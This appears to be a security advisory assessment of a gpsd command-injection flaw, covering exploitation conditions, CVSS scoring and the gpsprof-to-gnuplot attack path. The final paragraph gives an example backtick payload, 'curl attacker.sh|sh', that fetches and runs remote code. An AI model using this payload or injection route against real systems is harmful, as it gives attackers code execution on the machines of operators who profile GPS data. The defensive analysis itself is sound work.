gpsd CVE-2026-58459

Exploitation requires the attacker to control the device 'subtype' value delivered through either a DEVICES JSON log entry or a Garmin NMEA PGRMT sentence, and to embed a backtick command-substitution payload in that field. The victim must then execute the full gpsprof → gnuplot workflow: gpsprof generates the gnuplot program with the unsanitized subtype in a set title statement, and the victim renders that program with gnuplot (this is the UI:A/active-interaction requirement). Limiting factors: it only affects gpsd through release-3.27.5; exploitation is LOCAL to the rendering host and does not fire automatically - it depends on an operator choosing to profile and plot attacker-influenced GPS data; and commands execute only with the privileges of the user running gnuplot, not automatically as root.

The vendor CVSS 4.0 vector (AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H, base 8.4) captures the essential trade-off: high confidentiality/integrity/availability impact and no privileges required, but a LOCAL vector and mandatory active user interaction (the victim must run the gpsprof/gnuplot rendering workflow on attacker-influenced data). This is not a remotely-triggerable server compromise - it is a client-side/diagnostic-workflow injection that fires only when an operator profiles a malicious or spoofed GPS source. No EPSS score was provided, so exploitation probability cannot be quantified from the input. It is not in CISA KEV and no POC was supplied, so there is no evidence of active or automated exploitation. Net assessment: a legitimately high-severity code-execution bug for anyone who profiles untrusted GPS devices, but the local vector plus required user action and the niche gpsprof workflow make it a targeted rather than mass-exploitation risk. Note one ambiguity: the malicious subtype can arrive over a serial/network GPS feed even though the code-execution trigger is local - the AV:L rating reflects the rendering step, not the data source.

An attacker sets up a malicious or spoofed GPS device (or crafts a captured NMEA/DEVICES log) whose subtype field contains a backtick payload such as curl attacker.sh|sh. When a technician or developer profiles that device with gpsprof and renders the resulting gnuplot program, gnuplot performs command substitution on the title and runs the attacker's shell commands as the rendering user. No public POC was provided, and the local vector plus required user interaction mean the attacker must get the victim to profile the poisoned data.